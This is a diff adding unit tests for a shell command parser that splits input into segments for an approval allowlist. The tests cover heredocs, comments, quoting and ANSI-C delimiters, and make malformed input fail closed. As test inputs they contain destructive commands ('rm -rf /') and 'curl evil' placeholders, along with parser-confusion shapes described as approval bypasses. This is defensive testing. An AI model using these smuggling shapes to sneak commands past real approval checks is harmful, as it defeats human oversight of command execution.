+			// command substitution containing a subshell group, and runs the
+			// group's command. The payload must surface as its own segment
+			// instead of hiding inside the host word the way arithmetic does.
+			const { commands, parseError } = parseCommand("echo $((rm -rf /) )")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "( rm -rf / )"])
+		})
+
+		it("keeps closed $(( … )) and $[ … ] arithmetic masked", () => {
+			// Non-regression controls: the closer-adjacency guard must not
+			// touch well-formed arithmetic, where the depth-1 closer is the
+			// first character of the `))` token by construction.
+			expect(parseCommand("echo $((1+2))").commands).toEqual(["echo $((1+2))"])
+			expect(parseCommand("echo $(( (1) ))").commands).toEqual(["echo $(( (1) ))"])
+			expect(parseCommand("echo $[1+2]").commands).toEqual(["echo $[1+2]"])
+			expect(structuralError("echo $(( x")?.quoteType).toBe("arithmetic")
+		})
+
+		it("extracts a mis-nested $(( … ) … ) group from an unquoted heredoc body", () => {
+			// The body walk re-routes the opener the same way the main scan
+			// does, so a group hidden behind an allowlisted `cat` still gets
+			// its own segment.
+			const input = "cat <<EOF\n$((rm -rf /) )\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "( rm -rf / )"])
+		})
+
+		it("routes a nested mis-nested $(( through the frame and fails unclosed forms closed", () => {
+			const { commands, parseError } = parseCommand("echo $( $((rm -rf /) ) )")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "( rm -rf / )"])
+			// Without any depth-1 closer nothing closes the inner `(`, so the opener stays arithmetic.
+			const unclosed = parseCommand("echo $((rm -rf /")
+			expect(unclosed.commands).toEqual(["echo $((rm -rf /"])
+			expect(unclosed.parseError?.quoteType).toBe("arithmetic")
+			// With a closer that never doubles, the converted frame is the
+			// outermost construct that cannot close.
+			const halfClosed = parseCommand("echo $((rm -rf /) ")
+			expect(halfClosed.commands).toEqual(["echo $((rm -rf /) "])
+			expect(halfClosed.parseError?.quoteType).toBe("command-substitution")
+		})
+
+		it("ignores a single-quoted ) while counting arithmetic parentheses", () => {
+			// bash reads the `'` here as a quote, so its `)` is quoted text and
+			// cannot look like the arithmetic closer. The expression stays
+			// arithmetic and the inner substitution is extracted as its own
+			// segment. A counter that reads the quoted `)` as a closer trips the
+			// closer-adjacency re-route and degrades the command to a group
+			// segment bash never runs.
+			const { commands, parseError } = parseCommand("echo $(( $(printf 1 ')') + 1 ))")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo $(( $(printf 1 ')') + 1 ))", "printf 1 ')'"])
+		})
+
+		it("ignores parens inside quoted text and nested substitution bodies when counting", () => {
+			// Double quotes, nested `$(` bodies, and nested `${…}` regions are
+			// each read with the shell's own matching rules, so their parens
+			// never enter the arithmetic depth. Controls: the adjacency re-route
+			// still fires for a mis-nested `$(( … ) … )`, and well-formed
+			// arithmetic stays masked.
+			const dq = parseCommand('echo $(( $(echo "1)" | cut -c1) + 1 ))')
+			expect(dq.parseError).toBeNull()
+			expect(dq.commands).toEqual(['echo $(( $(echo "1)" | cut -c1) + 1 ))', 'echo "1)"', "cut -c1"])
+			// Frame call site: the nested arithmetic closes inside the frame.
+			const frame = parseCommand("echo $( x=$(( $(printf '%d' 2) + 1 )); echo $x )")
+			expect(frame.parseError).toBeNull()
+			expect(frame.commands).toEqual(["echo", "x=$(( $(printf '%d' 2) + 1 ))", "printf '%d' 2", "echo $x"])
+			// Body call site.
+			const body = parseCommand("cat <<EOF\necho $(( $(printf '%d' 2) + 1 ))\nEOF")
+			expect(body.parseError).toBeNull()
+			expect(body.commands).toEqual(["cat <<EOF\necho $(( $(printf '%d' 2) + 1 ))\nEOF", "printf '%d' 2"])
+			// Controls: the depth-1 closer that is not doubled is still bash's
+			// `$(`-plus-group reading, and balanced arithmetic stays masked.
+			expect(parseCommand("echo $((rm -rf /) )").commands).toEqual(["echo", "( rm -rf / )"])
+			expect(parseCommand("echo $((1 + (2) ))").commands).toEqual(["echo $((1 + (2) ))"])
+		})
+
+		it("extracts a grouped substitution whole from an unquoted heredoc body", () => {
+			// The body walk balances groups inside an expansion frame the way
+			// the main scan does. It treats quotes inside the frame as shell
+			// syntax. If a group's closer sliced the frame here, it would
+			// truncate the payload.
+			const input = "cat <<EOF\n$( (echo safe) )\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "( echo safe )"])
+		})
+
+		it("parses multiple groups in one frame and keeps parens literal inside a parameter expansion", () => {
+			// `(…)` inside `${…}` is literal word content, not a group, so the
+			// expansion host stays verbatim and no frame tracking applies.
+			const { commands, parseError } = parseCommand("echo $( (echo a) && (echo b) ) ${x:-(lit)}")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "( echo a )", "( echo b )", "${x:-(lit)}"])
+		})
+	})
+
+	describe("quotes inside an expansion frame in a heredoc body", () => {
+		// The shell tokenizes inside a substitution frame. A quote there is
+		// therefore shell syntax. Its region masks the frame's closer and any
+		// group test. A frame walk that reads a quoted `)` as the frame's
+		// closer slices the payload. That leaves the bash-executed tail
+		// unaccounted for. The main scan already blocks this shape through
+		// quote-state gating.
+
+		it("does not slice the frame at a quoted closer: the tail is its own segment", () => {
+			// bash runs both `echo ")"` and `curl evil` from this body line.
+			// Both must therefore surface as independent segments. Neither may
+			// hide inside the frame's host word without its own check.
+			const { commands, parseError } = parseCommand('cat <<EOF\n$( (echo ")") ; curl evil)\nEOF')
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(['cat <<EOF\n$( (echo ")") ; curl evil)\nEOF', '( echo ")" )', "curl evil"])
+		})
+
+		it("masks a single-quoted closer in the frame and extracts the tail separately", () => {
+			const { commands, parseError } = parseCommand("cat <<EOF\n$( (echo ')') ; curl evil)\nEOF")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<EOF\n$( (echo ')') ; curl evil)\nEOF", "( echo ')' )", "curl evil"])
+		})
+
+		it("fails closed on a quoted closer in the frame under CRLF line endings", () => {
+			// Every CR from the opener line through the closing terminator line
+			// sits in a region the two read layers treat differently. msys
+			// strips each CR, and POSIX keeps it as content. The body boundary
+			// cannot then be proven in a model-independent way. The heredoc
+			// fails closed before the frame walk ever runs. This over-rejects
+			// even a uniformly-CRLF heredoc whose two models would agree.
+			const input = 'cat <<EOF\r\n$( (echo ")") ; curl evil)\r\nEOF\r\n'
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("treats a quoted ( in the frame as text, not a group opener", () => {
+			// If `(` inside the quotes opened a group, the frame's own `)` would
+			// be swallowed balancing it and the payload slice would shift.
+			const { commands, parseError } = parseCommand('cat <<EOF\n$( echo "a(b" ; curl evil)\nEOF')
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(['cat <<EOF\n$( echo "a(b" ; curl evil)\nEOF', 'echo "a(b"', "curl evil"])
+		})
+
+		it("fails closed when a quote opened inside a frame never closes before the terminator", () => {
+			// The open region swallows the rest of the body (and the terminator is
+			// still body text to bash), so nothing after it can be accounted for.
+			const input = 'cat <<EOF\n$( echo "unclosed\nEOF\n'
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("command-substitution")
+		})
+
+		it("masks a quoted closer in an opener-remainder frame too", () => {
+			// The opener line's remainder shares the body walk, so it must carry
+			// the same quote gating.
+			const { commands, parseError } = parseCommand('cat <<EOF $( (echo ")") ; curl evil)\nbody\nEOF')
+			expect(parseError).toBeNull()
+			// The remainder stays live host text, so the frame's tail also
+			// splits as host segments on top of the routed payload segments.
+			expect(commands).toEqual([
+				"cat <<EOF\nbody\nEOF $ ( ( echo ) )",
+				'( echo ")" )',
+				"curl evil",
+				"curl evil )",
+			])
+		})
+	})
+
+	describe("comments inside an expansion frame in a heredoc body", () => {
+		// A word-initial `#` inside a `$(…)` frame opens a comment. The shell
+		// skips the comment to end of line. A frame walk that reads the `#` as
+		// ordinary text pops the frame at a `)` inside that comment. It then
+		// slices the payload. That leaves the bash-executed continuation lines
+		// hidden inside the opaque heredoc host word. The quote gating above
+		// already blocks this shape.
+
+		it("keeps a frame open across its comment and extracts the continuation tail", () => {
+			// bash runs BOTH `echo ok` and `curl evil` from this body: the
+			// comment's `)` never closes the frame, the real closer is the later
+			// `)`, and each executed command becomes its own segment.
+			const input = "cat <<EOF\n$( echo ok # )\ncurl evil)\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "echo ok", "curl evil"])
+		})
+
+		it("fails closed on a comment frame under CRLF line endings", () => {
+			// A CR between the opener line and the closing terminator line
+			// leaves the two layers reading different bytes. The close cannot
+			// then be verified in a model-independent way. The heredoc fails
+			// closed before the frame walk ever runs. This over-rejects even
+			// this uniformly-CRLF input, whose two models happen to agree.
+			const input = "cat <<EOF\r\n$( echo ok # )\r\ncurl evil)\r\nEOF\r\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("treats a # inside a quoted frame region as literal text", () => {
+			// A comment starts only outside a quote, so the quoted `#)` masks the
+			// closer exactly as an unquoted `)` would and the tail stays in the
+			// payload.
+			const { commands, parseError } = parseCommand('cat <<EOF\n$( echo "#)" ; curl evil)\nEOF')
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(['cat <<EOF\n$( echo "#)" ; curl evil)\nEOF', 'echo "#)"', "curl evil"])
+		})
+
+		it("treats a space-preceded # inside a quoted frame region as literal text", () => {
+			// The `#` sits at a word boundary yet inside double quotes, where the
+			// shell keeps it literal: only the quote frame's opacity separates it
+			// from the comment rule, and the tail must still surface.
+			const { commands, parseError } = parseCommand('cat <<EOF\n$( echo "a # b" ; curl evil)\nEOF')
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(['cat <<EOF\n$( echo "a # b" ; curl evil)\nEOF', 'echo "a # b"', "curl evil"])
+		})
+
+		it("treats a # attached to a word as part of the word, not a comment", () => {
+			// bash starts a comment only at a word boundary, so `x=a#b` is one
+			// argument and the `;` still separates a second executed command.
+			const { commands, parseError } = parseCommand("cat <<EOF\n$( echo x=a#b ; curl evil )\nEOF")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<EOF\n$( echo x=a#b ; curl evil )\nEOF", "echo x=a#b", "curl evil"])
+		})
+
+		it("preserves a mid-word # in a top-level argument instead of commenting it out", () => {
+			// The argument survives whole so a later separator can never hide
+			// behind a tokenizer comment: bash runs `echo x=a#b`, and the tail
+			// after `;` still splits into its own segment.
+			expect(parseCommand("echo x=a#b").commands).toEqual(["echo x=a#b"])
+			expect(parseCommand("echo x=a#b ; curl evil").commands).toEqual(["echo x=a#b", "curl evil"])
+		})
+
+		it("treats a # at the frame's content start as a comment", () => {
+			// A `#` right after `(` sits at a word boundary. bash comments out the
+			// `)` on that line. The frame closes at the later `)`, and that runs
+			// `curl evil`.
+			const { commands, parseError } = parseCommand("cat <<EOF\n$(# ok )\ncurl evil)\nEOF")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<EOF\n$(# ok )\ncurl evil)\nEOF", "curl evil"])
+		})
+
+		it("keeps a group's comment-blind closer from slicing the frame", () => {
+			// The group's `)` sits inside the comment, so the group never closes
+			// inside the frame. Whatever the re-scan makes of the rest, the
+			// bash-executed `curl evil` must surface as its own segment.
+			const input = "cat <<EOF\n$( (echo x # )\n) ; curl evil)\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "( echo x", ")", "curl evil"])
+		})
+
+		it("fails closed when a comment swallows the frame's only closer", () => {
+			// bash refuses this input with an unexpected-EOF error for the
+			// missing `)`. The open frame must therefore fail the whole command
+			// closed. It must never approve it.
+			const input = "cat <<EOF\n$( echo # )\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("command-substitution")
+		})
+
+		it("fails closed on the same comment shape in the opener-line remainder", () => {
+			// The walk of the remainder stops at the line end. The comment
+			// therefore leaves the frame open at that boundary, and the heredoc
+			// fails closed. bash also refuses the input outright.
+			const input = "cat <<EOF $( echo a # )\ncurl evil)\nbody\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("command-substitution")
+		})
+
+		it("keeps a # literal inside a parameter expansion (length and trim operators)", () => {
+			// `${#var}` and `${x#pat}` are operator syntax, never comments. The
+			// expansion host therefore stays verbatim, and nothing fails closed.
+			expect(parseCommand("cat <<EOF\n${#var}\nEOF").commands).toEqual(["cat <<EOF\n${#var}\nEOF"])
+			expect(parseCommand("cat <<EOF\n${x#pat}\nEOF").commands).toEqual(["cat <<EOF\n${x#pat}\nEOF"])
+		})
+
+		it("parses the non-heredoc equivalent at top level (main-scan parity)", () => {
+			// The main scan applies the same word-start comment rule inside
+			// substitution frames as the body walk. The comment hides the first
+			// line's `)`, the frame stays open across the newline, and the second
+			// line's `)` is the shell's own closer. The payload re-scan comments
+			// its first line too, so `curl evil` surfaces without a closer
+			// remnant.
+			const input = "$( echo ok # )\ncurl evil)"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo ok", "curl evil"])
+		})
+
+		it("does not open a substitution from a $( inside a comment within an open substitution frame", () => {
+			// bash discards the comment bytes before parsing, so the `$(x` inside
+			// the comment never opens a frame. The frame closes at the second
+			// line's `)` and only `echo ok` ever runs. A frame scan that reads
+			// the commented `$(` as live opens a second frame that the `)`
+			// closes at the wrong place, leaving the outer frame open and
+			// refusing this valid input as malformed.
+			const { commands, parseError } = parseCommand("echo $( echo ok # $(x\n)")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo", "echo ok"])
+			// A process-substitution frame takes the rule too: bash prints `hi`.
+			const proc = parseCommand("cat <( echo hi # decoy\n)")
+			expect(proc.parseError).toBeNull()
+			expect(proc.commands).toEqual(["cat", "echo hi"])
+		})
+
+		it("closes a frame at the shell's closer when a word-start comment hides a decoy )", () => {
+			// The comment's `)` is discarded before parsing, so the frame's only
+			// real closer is the second line's `)`. Each executed line becomes its
+			// own segment. A frame whose comment hides the only closer still
+			// fails closed, like bash's own unexpected-EOF refusal.
+			const { commands, parseError } = parseCommand("$( echo a # decoy )\necho b )")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo a", "echo b"])
+			const swallowed = parseCommand("$( echo # )")
+			expect(swallowed.commands).toEqual(["$( echo # )"])
+			expect(swallowed.parseError?.quoteType).toBe("command-substitution")
+			// The rule stays confined to substitution frame kinds: `#` inside
+			// `${…}` is operator syntax, not a comment.
+			expect(parseCommand("echo ${#x}").parseError).toBeNull()
+			expect(parseCommand("echo ${x#pat}").parseError).toBeNull()
+		})
+
+		it("does not open a substitution at a `$(` inside a body comment", () => {
+			// The body comment hides an unclosed `$(`, so the frame's closer is
+			// the next line's `)`. Reading the comment as live instead would
+			// open a second frame the `)` closes at the wrong place.
+			const input = "cat <<EOF\n$( echo ok # $(x\n)\nEOF"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError).toBeNull()
+			expect(commands).toEqual([input, "echo ok"])
+		})
+	})
+
+	describe("# riding at an expansion closer continues the word", () => {
+		// bash starts a comment only at a word start. An expansion's closer ends
+		// the expansion but not the surrounding word. A `#` directly after `)`,
+		// `}`, a backtick, or a `]]`-style closer is therefore word content. A
+		// later `;` still separates a command that bash executes. The tokenizer
+		// starts a comment at any unquoted `#`, so the character must travel
+		// through tokenization in masked form. A space before the `#` puts it at
+		// a word start, and there the shell's comment behavior applies.
+
+		it("extracts the tail after a # riding at a command-substitution closer", () => {
+			// bash runs `curl evil` as its own command from this line. The
+			// tail's segment makes the decision a prompt, never an approval.
+			const { commands, parseError } = parseCommand("echo x=$(echo ok)#;curl evil")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo x=", "echo ok", "#", "curl evil"])
+		})
+
+		it("extracts the tail after a # riding at an arithmetic closer", () => {
+			// `$((…))` and the deprecated `$[…]` both end at their closer. The
+			// word continues past it, so the tail after `;` splits in both cases.
+			expect(parseCommand("echo $((1))#;curl evil").commands).toEqual(["echo $((1))#", "curl evil"])
+			expect(parseCommand("echo $[1]#;curl evil").commands).toEqual(["echo $[1]#", "curl evil"])
+		})
+
+		it("extracts the tail after a # riding at a backtick closer", () => {
+			const { commands, parseError } = parseCommand("echo x=`echo ok`#;curl evil")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo x=", "echo ok", "#", "curl evil"])
+		})
+
+		it("extracts the tail after a # riding at a process-substitution closer", () => {
+			// bash expands `<(…)` to a path. The word continues past the closer,
+			// so the tail after `;` really executes.
+			const { commands, parseError } = parseCommand("cat <(echo ok)#;curl evil")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat", "echo ok", "#", "curl evil"])
+		})
+
+		it("extracts the tail after a # riding at a parameter-expansion closer", () => {
+			expect(parseCommand("echo ${x:-a}#;curl evil").commands).toEqual(["echo ${x:-a}#", "curl evil"])
+		})
+
+		it("extracts the tail after a # riding at a closing quote", () => {
+			// Quote removal still leaves the word unbroken. `echo "a"#` runs
+			// `echo a#`, and the tail after `;` is a separate command.
+			expect(parseCommand('echo "a"#;curl evil').commands).toEqual(['echo "a"#', "curl evil"])
+		})
+
+		it("keeps a space-preceded # after a closer a comment (tail absent)", () => {
+			// With whitespace between the closer and the `#`, the `#` begins a
+			// word. The shell then comments out the rest of the line. The tail
+			// never runs, so it must not surface as a segment.
+			const { commands, parseError } = parseCommand("echo x=$(echo ok) # comment")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["echo x=", "echo ok"])
+		})
+
+		it("leaves # operators inside a parameter expansion untouched", () => {
+			// `${x#pat}` and `${#var}` use operator syntax inside the expansion.
+			// The expansion host stays verbatim as one segment. The closer rule
+			// adds no extra masking or splitting inside it.
+			expect(parseCommand("echo ${x#pat}").commands).toEqual(["echo ${x#pat}"])
+			expect(parseCommand("echo ${#var}").commands).toEqual(["echo ${#var}"])
+			expect(parseCommand("echo ${x#pat};curl evil").commands).toEqual(["echo ${x#pat}", "curl evil"])
+		})
+	})
+
+	describe("# riding at the end of a backslash escape pair continues the word", () => {
+		// To bash, an escaped character is ordinary word content. The word
+		// therefore continues past a `\c` pair, whatever `c` is. Whitespace or a
+		// metacharacter in the raw text does not put a following `#` at a word
+		// start. The tokenizer starts a comment at any unquoted `#`, so this
+		// position must travel through tokenization in masked form, as in the
+		// expansion-closer case. A real space, not an escaped one, before the
+		// `#` puts it at a word start, and there the shell's comment behavior
+		// applies.
+
+		it("extracts the tail after a # riding at any escaped-character end", () => {
+			// bash runs `curl evil` as its own command from each of these lines.
+			// The escaped character keeps the word open, the `#` is word
+			// content, and the `;` after it separates a second command.
+			expect(parseCommand("echo a\\)#;curl evil").commands).toEqual(["echo a)#", "curl evil"])
+			expect(parseCommand("echo a\\;#;curl evil").commands).toEqual(["echo a;#", "curl evil"])
+			expect(parseCommand("echo a\\ #;curl evil").commands).toEqual(["echo a #", "curl evil"])
+			expect(parseCommand("echo a\\|#;curl evil").commands).toEqual(["echo a|#", "curl evil"])
+			expect(parseCommand("echo a\\&#;curl evil").commands).toEqual(["echo a&#", "curl evil"])
+			expect(parseCommand("echo a\\<#;curl evil").commands).toEqual(["echo a<#", "curl evil"])
+			expect(parseCommand("echo a\\}#;curl evil").commands).toEqual(["echo a}#", "curl evil"])
+		})
+
+		it("keeps a # after an escaped ordinary character literal (mid-word control)", () => {
+			// `a\bc#c` is one word to bash. The `#` was already mid-word here,
+			// without the escape-end rule. This case is pinned so that a future
+			// narrowing of either word-content rule shows up here.
+			expect(parseCommand("echo a\\bc#c;curl evil").commands).toEqual(["echo abc#c", "curl evil"])
+		})
+
+		it("keeps an escaped # literal and never a comment", () => {
+			// `\#` is an escaped character like any other. bash prints the hash
+			// character, and a `;` directly after the pair still separates a
+			// command.
+			expect(parseCommand("echo a\\#b").commands).toEqual(["echo a#b"])
+			expect(parseCommand("echo a\\#;curl evil").commands).toEqual(["echo a#", "curl evil"])
+		})
+
+		it("keeps a real-space-preceded # after an escape pair a comment (tail absent)", () => {
+			// `echo a\) #c` ends the word at the unescaped space. bash therefore
+			// comments out the rest of the line. The tail never runs, so it must
+			// not surface as a segment.
+			expect(parseCommand("echo a\\) #c;curl evil").commands).toEqual(["echo a)"])
+		})
+
+		it("extracts the tail after a # joined by a line continuation", () => {
+			// The continuation joins `a` and `#c` into one word before the shell
+			// tokenizes, so bash runs `curl evil`. The split segments keep that
+			// tail accountable either way.
+			expect(parseCommand("echo a\\\n#c;curl evil").commands).toEqual(["echo a", "#c", "curl evil"])
+		})
+	})
+
+	describe("heredoc delimiters with undeterminable terminators fail closed", () => {
+		// A quote character inside the delimiter word opens a quote region. bash
+		// carries that region across newlines until its closing quote. A word
+		// that still has a region open at end of input is a delimiter that no
+		// body line can ever match. The opener line's tail keeps executing as
+		// ordinary syntax. This is exactly where a mask to end of input would
+		// hand bash's separate commands to the allowlists unaccounted for. A
+		// delimiter is equally unresolvable when bash applies a quote removal
+		// the walk does not reproduce (ANSI-C/locale rows below).
+
+		it("fails closed on the CR-delimited unclosed-quote delimiter (the approval-bypass shape)", () => {
+			// bash closes the delimiter's quote on the second line. It then runs
+			// `; rm -rf /` as its own command. Masking would auto-approve it.
+			const input = "cat <<'X\r\n'; rm -rf /\nX\r\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on an LF-terminated unclosed single-quoted delimiter", () => {
+			const input = "cat <<'X\n'; rm -rf /\nX\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on an unclosed double-quoted delimiter", () => {
+			const input = 'cat <<"X\n"; rm -rf /\nX\n'
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("fails closed on a quote opened mid-word in an otherwise unquoted delimiter", () => {
+			// bash starts a quote anywhere in a word. `<<EOF'` therefore swallows
+			// the rest of the input just like `<<'EOF`. A fix for only the
+			// leading-quote forms would leave this sibling case open.
+			const input = "cat <<EOF'\n'; rm -rf /\nX\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		it("parses a closed mid-word quote as the literal concatenated terminator", () => {
+			// `<<EOF'x'` is well-formed bash. After quote removal, the terminator
+			// is the literal word EOFx. Rejecting it would over-fire.
+			const { commands, parseError } = parseCommand("cat <<EOF'x'\nbody\nEOFx\n")
+			expect(parseError).toBeNull()
+			expect(commands).toEqual(["cat <<EOF'x'\nbody\nEOFx"])
+		})
+
+		it("propagates a malformed delimiter from a heredoc opened inside a substitution", () => {
+			const input = "echo $(cat <<'X\ny\n)"
+			const { commands, parseError } = parseCommand(input)
+			expect(commands).toEqual([input])
+			expect(parseError?.quoteType).toBe("heredoc")
+		})
+
+		// bash applies ANSI-C/locale quote removal to the delimiter word before
+		// matching it against a terminator line. The delimiter walk pairs raw
+		// quote bytes, so it reads `$'EOF'` as the terminator `$EOF` while bash
+		// closes the heredoc at the real `EOF` line — and executes everything
+		// after it. The terminator cannot be determined from the walk, so the
+		// construct fails closed instead of masking bash's live commands.
+		it("fails closed on an ANSI-C quoted delimiter word (bash executes the tail)", () => {
+			// With `cat` allowlisted, masking the body would auto-approve this
+			// input while bash runs the `rm` after the real terminator as its own
+			// command. Refused input returns the raw bytes verbatim as the one
+			// host word, and the decision layer fails closed on the parse error.
+			const input = "cat <<$'EOF'\nbody\nEOF\nrm -rf /tmp/target\n$EOF\n"
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError?.quoteType).toBe("heredoc")
+			expect(commands).toEqual([input])
+		})
+
+		it("fails closed on a locale-quoted delimiter word", () => {
+			// `$"EOF"` is the locale-quoted sibling: bash performs locale quote
+			// removal, so the heredoc closes at the `EOF` line and the `printf`
+			// after it executes. Same undeterminable terminator, same refusal.
+			const input = 'cat <<$"EOF"\nbody\nEOF\nprintf RAN > ran.marker\n$EOF\n'
+			const { commands, parseError } = parseCommand(input)
+			expect(parseError?.quoteType).toBe("heredoc")
+			expect(commands).toEqual([input])
+		})
+
+		it("fails closed on concatenated, blank-separated, and substitution-framed ANSI-C delimiters", () => {
+			// The scan flags an unquoted ANSI-C quote start at any position in
+			// the delimiter word, so these shapes all refuse: a concatenation
+			// after the ANSI-C word (`$'EO'F` removes to `EOF`), a blank
+			// between `<<` and the word, and a heredoc opened inside a
+			// substitution frame, whose error propagates the same way an
+			// unclosed quote's does.
+			const concat = parseCommand("cat <<$'EO'F\nbody\nEOF\nprintf RAN > ran.marker\n$EOF\n")
+			expect(concat.parseError?.quoteType).toBe("heredoc")
+			expect(concat.commands).toEqual(["cat <<$'EO'F\nbody\nEOF\nprintf RAN > ran.marker\n$EOF\n"])
+			const spaced = parseCommand("cat << $'EOF'\nbody\nEOF\nprintf RAN > ran.marker\n$EOF\n")
+			expect(spaced.parseError?.quoteType).toBe("heredoc")
+			expect(spaced.commands).toEqual(["cat << $'EOF'\nbody\nEOF\nprintf RAN > ran.marker\n$EOF\n"])
+			const framed = parseCommand("echo $(cat <<$'EOF'\nbody\nEOF\nprintf RAN > ran.marker\n$EOF\n)\n")
+			expect(framed.parseError?.quoteType).toBe("heredoc")
+			expect(framed.commands).toEqual(["echo $(cat <<$'EOF'\nbody\nEOF\nprintf RAN > ran.marker\n$EOF\n)\n"])
+		})
+
+		it("fails closed on mid-word ANSI-C and locale concatenation delimiters", () => {
+			// bash removes ANSI-C/locale quotes at any unquoted occurrence in
+			// the delimiter word, so each word below closes the heredoc at the
+			// quote-removed text — a line the delimiter walk never derives —
+			// and runs the tail after it as its own command. Refusing keeps the
+			// raw bytes unapprovable.
+			const shape = (input: string) => {
+				const { commands, parseError } = parseCommand(input)
+				expect(parseError?.quoteType).toBe("heredoc")
+				expect(commands).toEqual([input])
+			}
+			// `a$'X'Y` removes to `aXY`; `a$"X"Y` is the locale twin; `'a'$'X'`
+			// concatenates a plain-quoted piece before the ANSI-C piece;
+			// `x$'EOF'` matches its quote-removed `xEOF` line mid-file.
+			shape("cat <<a$'X'Y\nbody\naXY\nprintf RAN > ran.marker\na$XY\n")
+			shape('cat <<a$"X"Y\nbody\naXY\nprintf RAN > ran.marker\na$XY\n')
+			shape("cat <<'a'$'X'\nbody\naX\nprintf RAN > ran.marker\na$X\n")
+			shape("cat <<x$'EOF'\nbody\nxEOF\nprintf RAN > ran.marker\nx$EOF\n")
+		})
+
+		it("fails closed on the tab-form and continuation mid-word ANSI-C delimiters", () => {
+			// The scan covers the delimiter word after the `<<-` strip and the
+			// opener's blank skip, so the tab-indented form refuses like the
+			// plain one. A backslash-newline pair joins the next line into the
+			// word before bash tokenizes it, and the joined word still carries
+			// the unquoted ANSI-C occurrence.
+			const tabForm = parseCommand("cat <<-\tx$'EOF'\nbody\n\txEOF\nprintf RAN > ran.marker\nx$EOF\n")
+			expect(tabForm.parseError?.quoteType).toBe("heredoc")
+			expect(tabForm.commands).toEqual(["cat <<-\tx$'EOF'\nbody\n\txEOF\nprintf RAN > ran.marker\nx$EOF\n"])
+			const joined = parseCommand("cat <<a$'X'\\\nY\nbody\naXY\nprintf RAN > ran.marker\na$XY\n")
+			expect(joined.parseError?.quoteType).toBe("heredoc")
+			expect(joined.commands).toEqual(["cat <<a$'X'\\\nY\nbody\naXY\nprintf RAN > ran.marker\na$XY\n"])
+		})
+
+		it("fails closed when a line continuation joins a delimiter's dollar to a quote byte", () => {
+			// bash removes backslash-newline line continuations before
+			// tokenizing, so the `$` and the quote byte of a `$'`/`$"`
+			// occurrence can sit on separate physical lines. bash joins the
+			// bytes and removes the quotes before matching the delimiter word
+			// against a terminator line, so each word below closes the heredoc
+			// at the joined quote-removed text — a line the terminator search
+			// never derives from the physical lines — and runs the tail after
+			// it as its own command. The `<<-` tab form is scanned after the
+			// strip, and a word whose dollar follows a closed quote region
+			// reaches the scan unquoted.
+			const shape = (input: string) => {
+				const { commands, parseError } = parseCommand(input)
+				expect(parseError?.quoteType).toBe("heredoc")
+				expect(commands).toEqual([input])
+			}
+			shape("cat <<a$\\\n'b'\nbody\nab\nprintf RAN > ran.marker\na$b\n")
+			shape('cat <<a$\\\n"b"\nbody\nab\nprintf RAN > ran.marker\na"b"\n')
+			shape("cat <<'x'$\\\n'b'\nbody\nxb\nprintf RAN > ran.marker\nx$b\n")
+			shape("cat <<-a$\\\n'b'\nbody\n\tab\nprintf RAN > ran.marker\n\ta$b\n")
+		})
+
+		it("fails closed when stacked or escaped-backslash continuations join a delimiter's dollar to a quote byte", () => {
+			// bash removes each backslash-newline pair independently, so a run
+			// of continuations between the `$` and the quote byte still joins
+			// them. An escaped `\\` consumes only its own pair, leaving the
+			// following `$` unquoted, so a continuation after it counts the
+			// same way. Both words below join to carry an ANSI-C occurrence
+			// and close the heredoc at the quote-removed line: refuse.
+			const shape = (input: string) => {
+				const { commands, parseError } = parseCommand(input)
+				expect(parseError?.quoteType).toBe("heredoc")
+				expect(commands).toEqual([input])
+			}
+			shape("cat <<a$\\\n\\\n'b'\nbody\nab\nprintf RAN > ran.marker\na$b\n")
+			shape("cat <<a\\\\$\\\n'b'\nbody\na\\b\nprintf RAN > ran.marker\na\\$b\n")
+		})
+
+		it("keeps a delimiter whose dollar a surviving byte holds from the joined quote parsing", () => {
